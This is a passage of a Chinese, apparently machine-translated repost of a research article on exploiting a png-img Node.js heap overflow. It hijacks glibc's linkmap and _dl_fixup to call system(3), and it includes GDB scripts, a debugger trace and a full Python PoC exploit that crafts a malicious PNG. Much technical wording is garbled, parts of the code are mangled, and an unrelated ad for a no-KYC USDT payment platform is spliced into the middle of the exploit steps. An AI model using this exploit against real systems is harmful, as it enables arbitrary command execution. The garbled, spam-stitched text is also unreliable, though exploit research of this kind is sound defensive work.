usdt钱包支付(www.caibao.it):深入考察注释型语言背后隐藏的攻击面,Part 2(四)

admin/2021-01-09/ 分类:蚌埠科技/阅读:

在本文中,我们将深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C 的库“粘合”到注释语言的历程中,平安破绽是若何发生的。

深入考察注释型语言背后隐藏的攻击面,Part 2(一)

深入考察注释型语言背后隐藏的攻击面,Part 2(二)

深入考察注释型语言背后隐藏的攻击面,Part 2(三)

战略设计

我们知道,虽然已经可以完全控制linkmap,但我们仍无法控制通过硬编码PLT参数传递给剖析器代码的reloc_arg参数,在我们的示例中,png_error的参数为0x11d(285)。这个值的作用,是用作png-img模块的重定位段(.rela.plt) 的索引。

anticomputer@dc1:~$ readelf -r ~/node_modules/png-img/build/Release/png_img.node … Relocation section '.rela.plt' at offset 0x9410 contains 378 entries:   Offset          Info           Type           Sym. Value    Sym. Name   Addend … 000000263900  011000000007 R_X86_64_JUMP_SLO 000000000001cae0 png_error   0 ...

除此之外,我们也不知道被损坏的linkmap在内存中的位置。同时,由于堆的基地址是随机的,以是,我们唯一已知的数据都是拜测试平台上node二进制文件的非PIE特征所赐。因此,我们仍然无法在内存中的已知位置处伪造响应的段,以便与我们精心制作的linkmap一起使用。

只管如此,我们现在已经到了有趣的部门:制订战略,思量若何将我们的堆内存控制与我们对剖析器和目的二进制的领会结合起来,重定向执行流程。

我们的既定目的是通过加载带有png-img的恶意PNG来执行随便下令。

针对随便下令执行的头脑风暴

我们回忆一下,png_ptr分块与linkmap分块是相邻的。而且,linkmap的第一个字段是l_addr字段,这个字段应该就是库的基地址,种种重定位和函数偏移都是以它为基础的。

我们可以笼罩堆数据,粒度为rowbytes,简朴来说就是我们PNG图片的宽度。libpng接受的最小的rowbytes值与用于溢出的高度值结合起来就是3,也就是说,我们可以接纳的最小的堆笼罩步骤是每行迭代3个字节。在little endian平台上,我们可以笼罩linkmap的l_addr字段中最低有用字节,以使png_error剖析在其预期的函数起始地址之外,而不会损坏linkmap中的任何其他指针。然而,这使得我们无法在挪用错误对齐的png_error时控制png_ptr参数,由于控制这些数据需要笼罩一个完整的linkmap。事实证实,在png_error四周没有足够多的有用指令来控制历程。由于ASLR的缘故原由,我们无法对l_addr举行更激进的局部笼罩,由于我们很快就会碰着库基地址的熵区域,而且我们只有一次实验机遇。

以是,我们需要重新设计一下。

理想情况下,我们设计一个场景,其中我们可以为png_error重定位索引285提供随便重定位纪录。这样的话,我们就能够完全控制(伪造的)符号表的索引。

我们可以将node的GOT段(其中包罗许多已经剖析好的libc指针)用作一个伪造的符号表,这样我们精心制作的重定位纪录就能以获取一个现有libc地址作为符号的sym->st_value的方式来索引node GOT。然后,我们可以借助对l->l_addr的控制能力,从这个现有的libc地址举行偏移,并将执行重定向到我们希望的任何其他libc的.text段地址。

由于我们可以在剖析png_error时控制加载到rdi寄存器中的png_ptr数据(即,凭据Linux 64bit intel平台上使用的System V AMD64 ABI的第一个参数),我们可以想法剖析为system(3),并从我们控制之下的png_ptr数据中提供一个随便的下令来执行。

由于最终修复的重定位偏移量也处于我们精心制作的重定位纪录的控制之下,以是,我们可以简朴地将l->l_addr值加到它上面,并将其指向某个平安的内存位置,以便在控制历程之前,在重定位修复中幸存下来。

这将是一个理想的方案。不外,当前面临的挑战是:在已知位置没有受控数据,也无法控制reloc_arg的情况下,我们若何提供随便的重定位纪录?

曙光乍现

面临上面所说的挑战,一个主要的线索是,l_info[DT_JMPREL]是通过对指向.dynamic段的指针以排除引用的方式获得的。前面说过,剖析器并不直接引用它需要接见的各个段,而是获取指向所需节的.dynamic条目的指针,然后查询其d_ptr字段以获得指向相关段的现实指针。

更直白地说,剖析器将使用我们的受控指针来获取l_info[DT_JMPREL],并在该指针的偏移量8处,获取另一个指针值,这个指针值应该就是现实的段地址。

这对我们有什么辅助呢?

好吧,我们说过:我们可以把data_分块放到堆上的随便位置,但我们无法可靠地把它挤在linkmap和png_ptr分块之间。然则,若是我们把它放在linkmap分块前面的某个地方会怎样呢?这将导致笼罩大量的堆空间,从而控制这些堆空间中的内容。

在行使破绽的时刻,我们与堆的交互是异常有限的,由于没有许多的分配或释放操作发生。现实上,我们只是在一个循环中,简朴地将我们控制的数据行写入堆中,直到用完行数据,这时,png_error的剖析逻辑就启动了。

以是,至少在我们的PoC场景中,我们可以有用地笼罩相当一部门堆内存,直到到达我们需要控制的数目为止,这不会带来太多的稳固性问题

我们还知道,我们处置的是一个非PIE二进制文件。以是,我们知道它的.data段的具体地址。在node的.data段中,会含有大量的结构体,这些结构体在运行时可能含有指向堆内存的指针。若是我们笼罩了堆中足够多的内存空间,其中一些指针就可能指向我们控制的数据,准确来说,这些指针将位于.data段的静态位置。

那么,若是我们重新调整其中一个.data位置的用途,将其用于我们的l_info[DT_JMPREL]的.dynamic条目指针,效果会若何呢?我们也许可以用它来为 _dl_fixup 提供一个完全受控的重定位纪录。由于在我们的目的平台上,重定位纪录的巨细是24(3x8字节),而png_error reloc_arg的巨细是285,只要我们可以将准确对齐的重定位纪录放置在距获取堆指针的node .data的285x24偏移处,我们就应该能够损坏剖析器的逻辑。

随后,我们可以使用类似的方式找到一个静态位置,在 8处包罗一个指向node二进制代码GOT的指针,并将其用作l_info [DT_SYMTAB] .dynamic条目指针。在与制作好的重定位纪录一致的情况下,我们可以索引到节点GOT中,从而获得一个现有的libc指针值,并使用我们制作好的linkmap的l_addr字段作为到一个所需的libc函数的增量,在我们的例子中,这个函数就是system(3)。

综合起来

现在,我们已经有了一个开端的破绽行使计谋,我们就必须网络所有的要素,来将我们的攻击设计付诸实施。

从破绽行使的可靠性的角度来看,我们当前计谋的瑕玷是它高度依赖二进制代码,而且对堆结构高度敏感。因此,我们以为这充其量只能算是一个PoC。由于它高度依赖于越来越少见的非PIE node的二进制代码,以及从data_ chunks到linkmap和png_ptr chunks的可展望堆偏移。

话虽如此,我们拿它在启用了种种防御功效的系统上来练练手,照样异常不错的。

为了把我们的计谋付诸实施,我们需要:

1. 能把溢出分块放到linkmap分块的前面data_分块的合适巨细。

2. data_ 分块和linkmap分块之间的偏移量。

,

usdt跑分网

菜包钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜包Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

3. 从node二进制代码GOT到偏移量的合适的libc指针。

4. 一个已知的node指针,指向一个指向node GOT基址的指针。

5. 一个已知的node指针,指向一个指向受控堆内存的指针。

6. 从源libc指针到目的libc函数指针的偏移量。

7. 一个用于吸收最终的_dl_fixup重定位写入的平安的内存区域。 

首先,让我们找到一个合适的空闲块,以便在挪用PngImg::PngImg组织函数时,可以将data_分块保存到这个空闲块中。我们可以使用gef的heap bins下令来显示哪些bins有可用的空闲分块,以及它们在内存中的位置。

我们要寻找的是一个与linkmap分块的位置离得较远的分块,这样我们就有很好的机遇通过node的.data的堆指针从堆中提供可控的重定位纪录。然则,我们也不想由于忧郁不稳固而损坏整个堆的内容。

我们可以在unsorted的bin中找到一个看似合适的巨细为0x2010的空闲块:

─────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────[ ] unsorted_bins[0]: fw=0x271f0b0, bk=0x272c610  →   Chunk(addr=0x271f0c0, size=0x2010, flags=PREV_INUSE)   →   Chunk(addr=0x2722ef0, size=0x1b30, flags=PREV_INUSE)   →   Chunk(addr=0x2717400, size=0x430, flags=PREV_INUSE)   →   Chunk(addr=0x272c620, size=0x4450, flags=PREV_INUSE) [ ] Found 4 chunks in unsorted bin.

通过将data_ size设置为0x2010,我们可以将这个空闲块塞进这个位于偏移量0x3950处的分块中,这个分块最终将成为我们的linkmap分块。固然,这个假设在任何现实情形下都是异常不稳固的,但在我们的演习中,不妨假设它是建立的。

同时,我们让rowbytes(宽度)取值为16,以便为堆溢出提供一个已经对齐的、细粒度的写入原语。

我们注重到,由于符号表项长24个字节,而St_value字段在Symbol结构体中的偏移量为8,以是,我们从node二进制GOT中选择的libc指针(用作St_value),必须位于距24字节对齐索引的偏移量8处。例如,一个指定Symtab索引为1的重定位纪录,将意味着在node GOT的偏移量32处取值,并将其作为Symbol的st_value。

我们还注重到,伪造的符号条目的st_other字段决议了我们是否在_dl_fixup中凭据符号的可见性来进入更庞大的符号查找路径。由于我们喜欢尽可能地保持简朴,以是,对于在我们的st_value字段之前的GOT条目,应该想法不让它通过_dl_fixup中的if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)的检查。这现实上只是意味着伪造的符号表条目中st_other字段(字节6)的低2位不应该是0。固然,这需要一定的运气,但大多数GOT段中都存在相符这一要求的指针。另外,可见性检查是使用以下宏完成的:

elf.h:     /* How to extract and insert information held in the st_other field.  */ ,define ELF32_ST_VISIBILITY(o)  ((o) & 0x03)     /* For ELF64 the definitions are the same.  */ ,define ELF64_ST_VISIBILITY(o)  ELF32_ST_VISIBILITY (o)     /* Symbol visibility specification encoded in the st_other field.  */ ,define STV_DEFAULT     0               /* Default symbol visibility rules */ ,define STV_INTERNAL    1               /* Processor specific hidden class */ ,define STV_HIDDEN      2               /* Sym unavailable in other modules */ ,define STV_PROTECTED   3               /* Not preemptible, not exported */

在我们的测试平台上,getockopt的node二进制GOT条目很相符我们的要求:它的前面有一个指针值,这个指针值会通过ST_VISIBILITY检查,这样我们就不必在linkmap中使用更庞大的剖析器逻辑。以是,我们将使用getockopt来偏移到所需的系统libc目的。这两个libc偏移量之间的差值将是我们在linkmaps l_addr字段中设置的delta值。

接下来,让我们首先从node二进制代码中网络我们需要的所有地址信息。

, grab the libc offsets of getsockopt and system using readelf -s, anticomputer@dc1:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so ...   1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5      959: 0000000000122830    36 FUNC    WEAK   DEFAULT   13 getsockopt@@GLIBC_2.2.5   , determine the node binary GOT entry for getsockopt with readelf -r anticomputer@dc1:~$ readelf -r /usr/bin/node | grep getsockopt 00000264d8f8  011800000007 R_X86_64_JUMP_SLO 0000000000000000 getsockopt@GLIBC_2.2.5   0   , grab the node GOT section start address with readelf -t anticomputer@dc1:~$ readelf -t /usr/bin/node There are 40 section headers, starting at offset 0x274f120:   Section Headers:   [Nr] Name        Type              Address          Offset            Link        Size              EntSize          Info              Align        Flags …   [26] .got        PROGBITS               PROGBITS         000000000264d038  000000000204d038  0        0000000000000fc8 0000000000000008  0                 8        [0000000000000003]: WRITE, ALLOC

接下来,我们必须在node的.data段中寻找这样一个堆指针,它指向位于我们控制的偏移量285x24处的数据。通过一个小型的GDB剧本,我们就可以很快找到相符要求的候选者。我们的剧本将搜索node的.data段,以寻找位于我们控制的数据区域内或其四周的堆指针。

注重:在启用ASLR后,这些堆地址将在每次运行时发生变化,以是这个剧本示例只与我们的调试会话快照相关。然而,当现实运行破绽行使代码时,思量到面临的是非PIE型的node二进制代码,以是,我们可以预期获得一个一致的.data指针位置,并期望该位置将包罗用于现实运行上下文的可用堆指针。

gef?  set $c=(unsigned long long *)0x264c000 gef? gef?  set $done=1 gef?  while ($done)  >if ((*$c&0xffffffffffff0000)==0x02720000)   >set $done=0   >end  >set $c=$c 1  >end gef?  p/x $c $551 = 0x26598c8 gef?  x/3gx (*($c-1)) 285*24 0x2726508:      0x00007fff00000013      0x0000000000000000 0x2726518:      0x0000000000000021 gef?  set $done=1 gef?  while ($done)  >if ((*$c&0xffffffffffff0000)==0x02720000)   >set $done=0   >end  >set $c=$c 1  >end gef?  p/x $c $552 = 0x265b9e8 gef?  x/3gx (*($c-1)) 285*24 0x2722f10:      0x4141414141414141      0x4141414141414141 0x2722f20:      0x4141414141414141 gef?  x/x 0x265b9e0 0x265b9e0 gef?

以是我们找到了一个潜在可用的.data位置(0x265b9e0),该位置将包罗一个位于偏移量285x24处的堆指针,该指针将指向受控数据。

最后,我们必须在node二进制代码中找到这样一个位置:它在 8处包罗一个指向node的.got段的指针。这并非难事,由于node二进制代码肯定会引用各个二进制段。

objdump -h:  25 .got          00000fc8  000000000264d038  000000000264d038  0204d038  2**3     (gdb) set $p=(unsigned long long *)0x400000 , search from node .text base upwards (gdb) while (*$p!=0x000000000264d038)  >set $p=$p 1  >end (gdb) x/x $p 0x244cf20:      0x000000000264d038 (gdb)

现在,我们已经网络好了所有的素材,这样就可以编写PoC代码了。总结一下,我们将构建一个伪造的linkmap,它相符以下约束条件:

1. l_addr字段将是libc的getockopt偏移量和libc的系统偏移量之间的增量。

2. l_info[DT_STRTAB]条目将是一些有用的指针值,由于我们的目的是跳过基于字符串的符号查找,它只需要能够平安地排除引用即可。

3. l_info[DT_SYMTAB]条目将是一个指向某个位置的指针,该位置在 8处有一个指向node的.got段起始地址的指针。

4. l_info[DT_JMPREL]条目将是指向某个位置的指针,该位置在 8处包罗一个堆指针,该指针基于png_error剖析的reloc_arg值指向偏移量285 x 24处的受控伪造重定位纪录。

伪造的重定位纪录将为伪造的符号表(node的二进制代码的.got段)提供一个索引,这样符号的st_value字段就是之前剖析的指向getockopt的libc指针。它还将提供一个重定位偏移量(它是相对于safe-to-write内存区域的),这样我们的功效就可以在_dl_fixup中的最后一次重定位写入操作后幸存下来。

剖析器将把我们在linkmap的l_addr字段中设置的libc增量与伪造的符号的st_value字段相加,其中st_value字段存放的是剖析的getsockopt libc函数指针值。相加之后,获得的就是system(3)函数的libc地址。

由于我们还损坏了png_error的png_ptr参数,因此,当我们最终从为png_error挟制的_dl_resolve跳转到system(3)时,我们能够提供并执行随便下令。对于我们的PoC来说,我们将执行“touch /tmp/itworked”下令。

用我们的PoC剧本准备好触发破绽的PNG文件后,就可以将其移动到我们的调试环境中了:

? ~ ? python3 x_trigger.py ? ~ ? file trigger.png trigger.png: PNG image data, 16 x 268435968, 8-bit grayscale, non-interlaced ? ~ ?  scp trigger.png anticomputer@builder:~/ trigger.png                                                                                                                                                                                          100% 1024     1.7MB/s   00:00 ? ~ ?

我们先在调试器内里运行易受攻击的node程序,并将断点设置在system(3)上:

gef?  r ~/pngimg.js ... [,0] 0x7ffff6ac6fc0 → do_system(line=0x2722ef0 "touch /tmp/itworked ,", 'P' [,1] 0x7ffff4030e63 → png_read_row() [,2] 0x7ffff4032899 → png_read_image() [,3] 0x7ffff40226d8 → PngImg::PngImg(char const*, unsigned long)() [,4] 0x7ffff401c8fa → PngImgAdapter::New(Nan::FunctionCallbackInfo [,5] 0x7ffff401c56f → _ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE() [,6] 0xb9041b → v8::internal::MaybeHandle [,7] 0xb9277d → v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::Handle [,8] 0xea2cc1 → v8::internal::Execution::New(v8::internal::Isolate*, v8::internal::Handle [,9] 0xb28ed6 → v8::Function::NewInstanceWithSideEffectType(v8::Local ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Thread 1 "node" hit Breakpoint 1, do_system (line=0x2722ef0 "touch /tmp/itworked ,", 'P' 56      { gef?  p "success!" $1 = "success!" gef?

太棒了!看起来代码在调试阶段一切正常。现在,让我们在没有附加调试器的情况下运行一下。

anticomputer@dc1:~/glibc/glibc-2.27/elf$ rm /tmp/itworked anticomputer@dc1:~/glibc/glibc-2.27/elf$ /usr/bin/node ~/pngimg.js Segmentation fault (core dumped) anticomputer@dc1:~/glibc/glibc-2.27/elf$ ls -alrt /tmp/itworked -rw-rw-r-- 1 anticomputer anticomputer 0 Nov 23 20:53 /tmp/itworked anticomputer@dc1:~/glibc/glibc-2.27/elf$

只管node历程确实由于堆损坏而发生了溃逃,然则,这一切都发生在实现随便下令执行之后。

无论若何,我们的义务已经完成了。

我们的PoC开发义务现在已经大功告成:我们已经为行使png-img FFI破绽乐成打通了所有环节。虽然从攻击者的角度来看,可靠性仍然是现实行使历程中的一个令人担忧的问题,但这足以让我们证实该破绽的潜在影响。

读者可以在附录A中找到完整的exploit代码。

小结

在本系列文章中,我们以Node.js FFI破绽的行使历程为例,为读者深入先容了隐藏在注释型语言底层攻击面。固然,我们的最终目的是为人人演示内存平安破绽是若何通过基于FFI的攻击面潜入注释型语言应用程序的。同时,我们为读者先容了exploit的开发之旅,并演示了攻击者是若何评估代码中的bug的潜在行使价值的。

附录A: png-img PoC exploit

, PoC exploit for GHSL-2020-142, linkmap hijack demo     """ anticomputer@dc1:~/glibc/glibc-2.27/elf$ uname -a Linux dc1 4.15.0-122-generic ,124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux     anticomputer@dc1:~/glibc/glibc-2.27/elf$ node -v v10.22.0     anticomputer@dc1:~/glibc/glibc-2.27/elf$ npm list png-img /home/anticomputer └── png-img@2.3.0     anticomputer@dc1:~/glibc/glibc-2.27/elf$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENAME=bionic DISTRIB_DEscriptION="Ubuntu 18.04.4 LTS" """     from PIL import Image import os import struct import sys import zlib     def patch(path, offset, data):     f = open(path, 'r b')     f.seek(offset)     f.write(data)     f.close()     , libc binary info libc_system_off = 0x000000000004f550 libc_getsockopt_off = 0x0000000000122830 libc_delta = (libc_system_off - libc_getsockopt_off) & 0xffffffffffffffff     , node binary info node_getsockopt_got = 0x00000264d8f8 node_got_section_start = 0x000000000264d038 node_safe_ptr = 0x000000000264e000   0x1000     , calculate what our reloc index should be to align getsockopt as sym->st_value node_reloc_index_wanted = int((node_getsockopt_got-node_got_section_start)/8) - 1 if node_reloc_index_wanted % 3:     print("[x] node .got entry not aligned to reloc record size ...")     sys.exit(0) node_reloc_index = int(node_reloc_index_wanted/3)     , our l_info['DT_SYMTAB'] entry is pointer that at  8 has a pointer to node's got section dt_symtab_p = 0x244cf20-8     , our l_info['DT_JMPREL'] entry is a pointer that at  8 has a heap pointer to our fake reloc records dt_jmprel_p = 0x265b9e0-8     , our l_info['DT_STRTAB'] entry is just some valid pointer since we skip string lookups dt_symtab_p = dt_symtab_p     , build our heap overwrite trigger = 'trigger.png' heap_rewrite = b'' , pixel bits is 8, set rowbytes to 16 via width width = 0x10 heap_data_to_linkmap_off = 0x3950-0x10 , offset from data_ chunk to linkmap chunk heap_data_chunk_size = 0x2010 , needs to be aligned on width heap_linkmap_chunk_size = 0x4e0     , spray fake reloc records up until linkmap chunk data fake_reloc_record = b'' fake_reloc_record  = struct.pack('<Q', (node_safe_ptr - libc_delta) & 0xffffffffffffffff) , r_offset fake_reloc_record  = struct.pack('<Q', (node_reloc_index<<32) | 7) , r_info, type: ELF_MACHINE_JMP_SLOT fake_reloc_record  = struct.pack('<Q', 0xdeadc0dedeadc0de) , r_addend reloc_record_spray = b'' reloc_align = b'' reloc_record_spray  = reloc_align reloc_record_spray  = fake_reloc_record * int((heap_data_to_linkmap_off-len(reloc_align))/24) reloc_record_spray  = b'P' * (heap_data_to_linkmap_off-len(reloc_record_spray))     heap_rewrite  = reloc_record_spray     , linkmap chunk overwrite fake_linkmap = b'' , linkmap chunk header fake_linkmap  = struct.pack('<Q', 0x4141414141414141) fake_linkmap  = struct.pack('<Q', 0x4141414141414141) , keep PREV_INUSE , start of linkmap data fake_linkmap  = struct.pack(' fake_linkmap  = struct.pack('<Q', 0xdeadc1dedeadc0de) * 12 , pad fake_linkmap  = struct.pack(' fake_linkmap  = struct.pack(' fake_linkmap  = struct.pack('<Q', 0xdeadc2dedeadc0de) * 16 , pad fake_linkmap  = struct.pack(' , pad up until png_ptr chunk fake_linkmap  = b'P' * (heap_linkmap_chunk_size-len(fake_linkmap))     heap_rewrite  = fake_linkmap     , png_ptr chunk overwrite, this is where we pack our argument to system(3) cmd = b'touch /tmp/itworked ,' png_ptr = b'' , png_ptr chunk header png_ptr  = struct.pack('L', crc))     , for playing with the early file allocation itself f = open(trigger, 'ab') f_size = os.path.getsize(trigger) f_size_wanted = 1024 f.write(b'P'* (f_size_wanted - f_size)) f.close()
本文翻译自:https://securitylab.github.com/research/now-you-c-me-part-two:
TAG:技术
阅读:
广告 330*360
广告 330*360

热门文章

HOT NEWS
  • 周榜
  • 月榜
蚌埠新闻网
微信二维码扫一扫
关注微信公众号
新闻自媒体 Copyright © 2002-2019 蚌埠新闻网 版权所有
二维码
意见反馈 二维码